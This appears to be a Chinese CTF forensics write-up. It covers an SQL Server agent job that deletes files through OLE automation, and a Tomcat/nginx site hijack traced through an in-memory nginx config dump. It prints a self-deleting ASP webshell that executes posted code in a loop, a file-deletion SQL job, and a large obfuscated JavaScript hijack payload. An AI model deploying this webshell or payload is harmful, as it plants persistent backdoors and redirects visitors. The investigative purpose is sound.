solar2月

solar2月

复现下不会的一些做法

单机取证4

题目描述

小王发现系统中有什么文件一直被删除,你能找出来原因吗?(请回答包含的可疑域名)
flag格式为:flag

前提先看他公众号的文章

https://mp.weixin.qq.com/s/skmcAWKlVxUEh0WVCGYG5g

MSSSQLSERVER
登录失败日志,事件ID: 18456

登陆成功日志, 事件ID: 18453

更改程序集日志,事件ID: 15457

为什么要想到sql server上呢?因为我找不到asp的不死马在哪

比如下面的这种,不过asp不死马我是真网上找不到,这段我是拿熟悉的php不死马找gpt生的,能不能行我也不知道

如果想让这个 ASP 木马具备删除自己的功能,可以考虑以下改写方式:

使用 VBScript 删除文件:ASP 可以使用 VBScript 调用 Windows 脚本(例如 FileSystemObject)来删除文件。这样,你可以通过以下方法实现自我删除。

<%
    ' 忽略用户中断
    On Error Resume Next

    ' 定义恶意代码和文件名
    Dim file, code
    file = Server.MapPath("-test.asp")
    code = "<%" & " If Request.QueryString(""pass"")=""test"" Then Execute(Request.Form(""test"")) End If %>"

    ' 删除当前脚本文件
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.DeleteFile(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")))

    ' 无限循环写入并修改文件时间戳
    Do While True
        Set fs = CreateObject("Scripting.FileSystemObject")
        Set a = fs.CreateTextFile(file, True)
        a.WriteLine(code)
        a.Close
        
        ' 修改文件的时间戳以防被删除
        Set shell = CreateObject("WScript.Shell")
        shell.Run "cmd /c echo 2018-12-01 > temp.txt && touch -m -d @1543674612 -test.asp"
        
        ' 暂停5毫秒
        WScript.Sleep(5)
    Loop
%>

具体行为就是先定义一个webshell,跟着做一个自我删除的动作,然后永真的执行某个行为。这时候这个木马是不能单独看到的,只存在于进程内存中,但是关机、重名写入、条件竞争可以解决

问题来了,这仿真肯定是关机了,我从哪找马?而且d盾扫遍www目录,也找不到别的可疑webshell

看回桌面的运维小明留下的密码文本,是sql server的

干货 | MSSQL注入和漏洞利用姿势总结-腾讯云开发者社区-腾讯云

可以看看他有利用什么玩法

事件id搜15457,可以看到有开启ole自动化(吻合任务式周期删除的特征)

image-20250310203509231

找这个时间段附件的,发现确实加载了外部dll,同时他还是个sa高权限用户,感觉可能会有问题

image-20250310204142129

官wp可以查看到如下信息

https://mp.weixin.qq.com/s/8qtXYsJNcNR5K6qrGFD_Qg

作业信息存储

数据库作业信息存储在msdb 数据库中

如:

  • msdb.dbo.sysjobs 存储所有作业的基本信息(如作业名称、所有者、启用状态等)。
  • msdb.dbo.sysjobsteps 存储作业的步骤(Step)信息(如执行的命令、类型、成功/失败后的操作)。
  • msdb.dbo.sysschedules 存储作业的计划(Schedule)信息(如执行频率、时间)。
  • msdb.dbo.sysjobschedules 关联作业与计划(Job 和 Schedule 的对应关系)。
  • msdb.dbo.sysjobhistory 存储作业的执行历史记录(如开始时间、结束时间、执行状态)。
USE msdb;
SELECT * FROM dbo.sysjobsteps;

可以看到有怪东西

image-20250310212033698

厨师烹饪一下

image-20250310213206883

DECLARE @Result int;
DECLARE @FSO_Token int;
EXEC @Result = sp_OACreate '{0wwww.cyg2016.xyy}', @FSO_Token OUTPUT;
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*';
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*';

GPT时间

这段代码是利用 SQL ServerOLE Automation (OLE 自动化) 来调用外部对象执行操作,涉及到使用 FileSystemObject 删除特定目录下的文件夹。以下是代码的详细解释:

  1. 声明变量
DECLARE @Result int;
DECLARE @FSO_Token int;
  • @Result:用于存储操作结果(返回值),比如函数或方法的执行是否成功。
  • @FSO_Token:一个整数变量,存储 FileSystemObject (FSO) 的 COM 对象标识符。
  1. 创建 COM 对象
EXEC @Result = sp_OACreate '{0wwww.cyg2016.xyy}', @FSO_Token OUTPUT;
  • sp_OACreate 是 SQL Server 的一个系统存储过程,用于创建一个 OLE (Object Linking and Embedding) 自动化对象。在这里, {0wwww.cyg2016.xyy} 应该是一个指向 FileSystemObject COM 对象的 ProgID(程序标识符),但是这看起来像是一个不完整或被修改的地址(可能是恶意代码或伪造的地址)。正常情况下,创建 FileSystemObject COM 对象的 ProgID 应该是 Scripting.FileSystemObject
  • @FSO_Token OUTPUT:用于存储创建的 COM 对象标识符。
  1. 删除文件夹
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*';
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*';
  • sp_OAMethod 是 SQL Server 中的另一个系统存储过程,用于调用已经创建的 OLE 自动化对象的方法。
  • @FSO_Token:指向 FileSystemObject 的标识符。
  • 'DeleteFolder':调用的 FileSystemObject 方法,用于删除指定路径的文件夹。
  • NULL:用于指定方法的额外参数,在这里不需要额外的输入。
  • 'c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*''c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*':要删除的目标文件夹路径。* 表示删除该路径下的所有内容(包括子文件夹和文件)。

总结:

这段代码的作用是利用 SQL Server 的 OLE Automation 功能,通过调用 FileSystemObject 对象的方法,删除 Windows 系统中的特定目录下的所有文件和文件夹。具体来说,它试图删除以下目录的内容:

  • c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*
  • c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*

这些路径通常包含用户的浏览器缓存和临时文件。删除这些内容可能是攻击者用来清除证据、掩盖痕迹,或破坏系统的行为。

安全问题:

  • 这种代码可以用来通过 SQL 注入或其他恶意手段,在 SQL Server 中执行文件删除操作。攻击者通过 sp_OACreatesp_OAMethod 创建并调用外部对象,从而执行类似删除文件夹的操作。
  • 需要特别注意,SQL Server 默认是不允许启用 OLE 自动化对象的,这种做法通常被视为不安全的操作,尤其是在生产环境中。管理员应当禁用该功能来减少潜在风险。

黑链

题目描述

网站被劫持,被跳转到外部网站,请分析内部原因。
本题提供两个端口:
第一个端口为ssh端口默认密码为solar@202502
第二个端口为被劫持的web服务,路径为 /projectA/index.jsp

黑链-1

可以burp抓一下,然后base64解码

也可以f12给脚本监听器下一下,断进去返回的html的js里,然后开始f11慢慢步入,就可以看到

image-20250331164413140

这是源文件,可以自己断一断

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hidden Link Example</title>
    <style>
        .hidden-link {
            display: none;
        }
    </style>
</head>
<body>

    <script>
       (function(){let c=['eNo1Ul1Xm1AQ/C97+nijARIIviXST9G2NlXjSw8h5AMxpBcSSj3+987OrU/MmZ3d2R3uiyztrVx4kZGVgvHEyCkBCEIjpTIxQKUgGBvZExiZqsTzIb5UFEJz4JwhRO9ZDGMjVrmRh4ZW0WQ4MvJZq2PlTuwIga6Ui3zfyB8aqO6aHMBfpdTqOxkP7mR01Z9KxRFG3CuSdZVtXvo0KAdpvEwHwWEaDU53fvkqRj7SbgKTBbXHrj2VPQpXPBxzrzkXe/9y5w2NfOUF6p4pNwLIeQBUPzjQyLvEfQtXQOWeg4zsmOQERyw4Byk/0TvfZvayXhXTFv7PjBDymrWq2G/aLfjf7PbRlNHJQ8oNJdu2PTQX5+dd1501dZXZpsiPdtf2Z/kejUcGhYXYFmO1jm2z+Xo5W0CwYcHHvJ67e9j5yfIfANXub+NPzrgZ0m3s/xUT3jhBMh1TC6D/pJyPI3u+F6i+MCsjKW1ttl/Vz7C9oTBEht84Rv/bbcKHYWTOTSLMS+iP2h3HeCh+cAuDe3AB2GKNgY8usDrP2l2tl6fuScHh5i3wFQ3GuHWuFIat+WhgtHXHQ/Rg31DpHi+Of3SeQBX39qLXf2Bvyww='],d,P,L=String.fromCharCode,M=Uint8Array,j=Uint16Array,w=Uint32Array;var f=typeof window==='object'&&window||typeof self==='object'&&self||exports;(function(d){var H='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',y=function(q){var i={};for(var k=0,$=q.length;k<$;k++)i[q.charAt(k)]=k;return i}(H),n=function(q){var $,I,k,i=q.length;$=i%4,I=(i>0?y[q.charAt(0)]<<18:0)|(i>1?y[q.charAt(1)]<<12:0)|(i>2?y[q.charAt(2)]<<6:0)|(i>3?y[q.charAt(3)]:0),k=[L(I>>>16),L(I>>>8&255),L(I&255)],k.length-=[0,0,2,1][$];return k.join('')},o=function(i){return i.replace(/\S{1,4}/g,n)};d.atob=function(i){return o(String(i).replace(/[^A-Za-z0-9\+\/]/g,''))}}(f),function($){var W,v,k,Q,h,a,U,R=8,V=!0,y=void 0;function N(l){throw l}function b(l,T){var x,F;x=void 0,this.input=l,this.c=0;if(T||!(T={})){T.index&&(this.c=T.index),T.verify&&(this.N=T.verify)}F=l[this.c++],x=l[this.c++];switch(F&15){case R:this.method=R}0!==((F<<8)+x)%31&&N(Error('err:'+((F<<8)+x)%31)),x&32&&N(Error('not')),this.B=new r(l,{index:this.c,bufferSize:T.bufferSize,bufferType:T.bufferType,resize:T.resize})}b.prototype.p=function(){var F,x,l=this.input;F=void 0,x=void 0,F=this.B.p(),this.c=this.B.c,this.N&&(x=(l[this.c++]<<24|l[this.c++]<<16|l[this.c++]<<8|l[this.c++])>>>0,x!==jb(F)&&N(Error('i32c')));return F};var d=0,K=1;function r(l,x){this.l=[],this.m=32768,this.e=this.g=this.c=this.q=0,this.input=m?new M(l):l,this.s=!1,this.n=K,this.C=!1;if(x||!(x={})){x.index&&(this.c=x.index),x.bufferSize&&(this.m=x.bufferSize),x.bufferType&&(this.n=x.bufferType),x.resize&&(this.C=x.resize)}switch(this.n){case d:this.b=32768,this.a=new(m?M:Array)(32768+this.m+258);break;case K:this.b=0,this.a=new(m?M:Array)(this.m),this.f=this.K,this.t=this.I,this.o=this.J;break;default:N(Error('imd'))}}r.prototype.K=function(T){var z,x,l,A,f,F,Z;x=this.input.length/this.c+1|0,l=void 0,z=void 0,A=void 0,f=this.input,F=this.a,T&&('number'===typeof T.v&&(x=T.v),'number'===typeof T.G&&(x+=T.G)),2>x?(l=(f.length-this.c)/this.u[2],A=258*(l/2)|0,z=A<F.length?F.length+A:F.length<<1):z=F.length*x,m?(Z=new M(z),Z.set(F)):Z=F;return this.a=Z},r.prototype.I=function(){var x,l;x=this.b,m?this.C?(l=new M(x),l.set(this.a.subarray(0,x))):l=this.a.subarray(0,x):(this.a.length>x&&(this.a.length=x),l=this.a);return this.buffer=l},r.prototype.J=function(T,A){var x=this.a,l=this.b;this.u=T;for(var z=x.length,e,f,F,Z;256!==(e=E(this,T));)if(256>e){l>=z&&(x=this.f(),z=x.length),x[l++]=e}else{f=e-257,Z=n[f],0<D[f]&&(Z+=X(this,D[f])),e=E(this,A),F=H[e],0<q[e]&&(F+=X(this,q[e])),l+Z>z&&(x=this.f(),z=x.length);for(;Z--;)x[l]=x[l++-F]}for(;8<=this.e;)this.e-=8,this.c--;this.b=l};function o(F){var Z=F.length,x=0,g=Number.POSITIVE_INFINITY,T,e,f,dU,z,A,l,fU,p,GU;for(fU=0;fU<Z;++fU)F[fU]>x&&(x=F[fU]),F[fU]<g&&(g=F[fU]);T=1<<x,e=new(m?w:Array)(T),f=1,dU=0;for(z=2;f<=x;){for(fU=0;fU<Z;++fU)if(F[fU]===f){A=0,l=dU;for(p=0;p<f;++p)A=A<<1|l&1,l>>=1;GU=f<<16|fU;for(p=A;p<T;p+=z)e[p]=GU;++dU}++f,dU<<=1,z<<=1}return[e,x,g]};function E(l,g){for(var z=l.g,GU=l.e,F=l.input,T=l.c,f=F.length,A=g[0],x=g[1],e,Z;GU<x&&!(T>=f);)z|=F[T++]<<GU,GU+=8;e=A[z&(1<<x)-1],Z=e>>>16,l.g=z>>Z,l.e=GU-Z,l.c=T;return e&65535}function i(z){var T,A;function e(e,Z,F){var z,l=this.z,g,f;for(f=0;f<e;)GU:switch(z=E(this,Z),z){case 16:for(g=3+X(this,2);g--;)F[f++]=l;break GU;case 17:for(g=3+X(this,3);g--;)F[f++]=0;l=0;break GU;case 18:for(g=11+X(this,7);g--;)F[f++]=0;l=0;break GU;default:l=F[f++]=z}this.z=l;return F}var F=X(z,5)+257,l=X(z,5)+1,Z=X(z,4)+4,g=new(m?M:Array)(I.length),f;T=void 0,A=void 0;var x;for(x=0;x<Z;++x)g[I[x]]=X(z,3);if(!m){x=Z;for(Z=g.length;x<Z;++x)g[I[x]]=0}f=o(g),T=new(m?M:Array)(F),A=new(m?M:Array)(l),z.z=0,z.o(o(e.call(z,F,f,T)),o(e.call(z,l,f,A)))}function X(T,Z){for(var x=T.g,l=T.e,z=T.input,A=T.c,f=z.length,F;l<Z;)A>=f&&N(Error('bk')),x|=z[A++]<<l,l+=8;F=x&(1<<Z)-1,T.g=x>>>Z,T.e=l-Z,T.c=A;return F}r.prototype.p=function(){for(;!this.s;){var Z=X(this,3);Z&1&&(this.s=V),Z>>>=1;A:switch(Z){case 0:var fU,z,GU=this.input,F=this.c,l=this.a,e=this.b;fU=GU.length;var f=y;z=y;var g=l.length,x=y;this.e=this.g=0,F+1>=fU&&N(Error('iL')),f=GU[F++]|GU[F++]<<8,F+1>=fU&&N(Error('iN')),z=GU[F++]|GU[F++]<<8,f===~z&&N(Error('ih')),F+f>GU.length&&N(Error('ib'));T:switch(this.n){case d:for(;e+f>l.length;){x=g-e,f-=x;if(m){l.set(GU.subarray(F,F+x),e),e+=x,F+=x}else{for(;x--;)l[e++]=GU[F++]}this.b=e,l=this.f(),e=this.b}break T;case K:for(;e+f>l.length;)l=this.f({v:2});break T;default:N(Error('im'))}if(m){l.set(GU.subarray(F,F+f),e),e+=f,F+=f}else{for(;f--;)l[e++]=GU[F++]}this.c=F,this.b=e,this.a=l;break A;case 1:this.o(C,s);break A;case 2:i(this);break A;default:N(Error('e: '+Z))}}return Y(this.t())};var t='undefined',m=t!==typeof M&&t!==typeof j&&t!==typeof w&&t!==typeof DataView;Q=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];var I=m?new j(Q):Q;k=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];var n=m?new j(k):k;v=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];var D=m?new M(v):v;W=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];var H=m?new j(W):W;h=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];var q=m?new M(h):h,B=new(m?M:Array)(288),J;U=void 0,J=0;for(U=B.length;J<U;++J)B[J]=143>=J?8:255>=J?9:279>=J?7:8;var C=o(B),S=new(m?M:Array)(30),u;a=void 0,u=0;for(a=S.length;u<a;++u)S[u]=5;var s=o(S);function Y(T){var Z,l,x;Z=void 0;var A,e,z;l='',Z=T.length,x=0;while(x<Z){A=T[x++];F:switch(A>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:l+=L(A);break F;case 12:case 13:e=T[x++],l+=L((A&31)<<6|e&63);break F;case 14:e=T[x++],z=T[x++],l+=L((A&15)<<12|(e&63)<<6|(z&63)<<0);break F}}return l}$.d=function(c){let l=new b(new M($.atob(c).split('').map(F=>F.charCodeAt(0))),{}),x=l.p();return x}}(f)),d=typeof window==='object'&&window||typeof self==='object'&&self||typeof global==='object'&&global;let G=true;for(let O of c){O=f.d(O),O=JSON.parse(O);if(G){Object.assign(d,O)}else{d.StringExtract=O}}}());function $vLeZwJ(z,n){Object.defineProperty(z,'length',{value:n,configurable:!0x0});return z}var $vjRCGW=function(){var z={Fco0Gm:function(n=oDR){if(!$vjRCGW.DvH9nO[TrR]){$vjRCGW.DvH9nO.push(-yrR)}return $vjRCGW.DvH9nO[n]},NydE9p:function(n=oDR){if(!$vjRCGW.dGRnUz[TrR]){$vjRCGW.dGRnUz.push(jrR)}return $vjRCGW.dGRnUz[n]},n7iUH6:wDR,dGRnUz:[],HUz1Mi:[],ubOxXz:DrR,_PGmP1u:YDR,k8iSdy:function(n=oDR){if(!$vjRCGW.HUz1Mi[TrR]){$vjRCGW.HUz1Mi.push(MrR)}return $vjRCGW.HUz1Mi[n]},DvH9nO:[]};return z}();(function(){var O=-arR,g=-drR,t=erR,b={b:(x=b.K==-KrR)=>{if(x){return b.E()}return t-=ArR},k:WDR,Z:NrR,B:function(){return(O==-vrR?b:t).h},X:LDR,r:(x=O==O)=>{if(!x){return arguments}return t+=t+lrR,b.U=!0x1},D:orR,Y:-wrR,$:-YrR,s:function(){typeof(t+=WrR,b.U=!0x1);return'L'},j:-LrR,K:XDR,t:function(){return t-=XrR},A:sDR,g:ZDR,d:-srR,x:$vLeZwJ(function(...x){~(x.length=0x1,x[0xc1]=x[0x0],x._5c4gi4=x[0xc1]);return x._5c4gi4.U?krR:ZrR},0x1),F:function(b){return b.q?-GrR:FrR},P:$vLeZwJ(function(...x){void(x.length=0x1,x[0x29]=x[0x0],x.FpdHkBY=-0x7b);return x.FpdHkBY>0x1?x[-0x73]:x[0x29]+xrR},0x1)};while(O+g+t!=grR&&$vjRCGW.Fco0Gm())z:switch(O+g+t){case DrR:~(b.t=void 0x0,O+=b.d,g+=rrR,b.b());break z;case brR:case $vjRCGW.Fco0Gm()?OrR:prR:case trR:case $vjRCGW.n7iUH6[kDR](JDR)==CDR?_DR:EDR:var S=SrR;void(t*=t==-zrR?-nrR:WrR,t-=b.Z);break z;case b.x(b):case mDR:case $vjRCGW.n7iUH6[kDR](JDR)==CDR?PDR:BDR:O+=$DR;break z;case!($vjRCGW.n7iUH6[kDR](JDR)==CDR)?erR:IDR:case UDR:case!($vjRCGW.n7iUH6[kDR](JDR)==CDR)?-RDR:QDR:void(b.h=(b.m=Math)[(b.K==orR||b).X]()<(b.a=S),O+=b.$,t+=hDR);break z;case qDR:case!($vjRCGW.n7iUH6[kDR](JDR)==CDR)?-uDR:iDR:case HDR:case VDR:~(window[b.g][b.K]=b.K==cDR?void 0x0:r,t+=fDR,b.q=!0x1);break z;case $vjRCGW._PGmP1u[kDR]($DR)==yDR?jDR:-TDR:case DDR:case $vjRCGW.ubOxXz>-MDR?dDR:-aDR:case b.F(b):if(b.s()=='L'){break z}case eDR:case KDR:case $vjRCGW.NydE9p()?NDR:-ADR:case b.P(O):if(b.B()&&$vjRCGW.k8iSdy()){b.t();break z}b.r();break z;case $vjRCGW.k8iSdy()?lrR:-lDR:var n=[b.k];t+=vDR;break z;default:delete b.I;var r=[(b.C=b).A];+(g+=rrR,t+=b.Y);break z}}())
    </script>
</body>
</html>

黑链-2

检查tomcat 文件什么都没发现,但是ps发现存在加载了一个nginx1.conf,但是全局find发现是不存在的,这说明已经加载进内存当中了

ps -ef 查看一下pid ,发现正常的/etc/nginx/nginx.conf pid 为11 ,/etc/nginx/nginx1.conf pid为12

先更新一下软件包,安装gdb 来dump nginx的内存

这是官方wp内容

确认主进程pid
ps -ef |grep nginx

检查内存映射
cat /proc/pid/maps |grep heap
将返回结果:
556096ebf000-556096f24000 rw-p 00000000 00:00 0     [heap]

使用gdb转储堆
gdb -p pid
(gdb)dump memory /target/file  0x556096ebf000 0x556096f24000
最终可获得/target/file 通过查看该文件即可得到nginx配置文件

image-20250331155401589

可以发现明显的转发,但是不知道是不是把这个ip的网页文件给下了,现在直接访问http://124.223.205.4/link.html是什么都没有的

后续查看正常nginx的配置文件,发现里面也只是做了/的路由,并没有做别的路由代理

posted @ 2025-03-31 16:55  eth258  阅读(57)  评论(0)    收藏  举报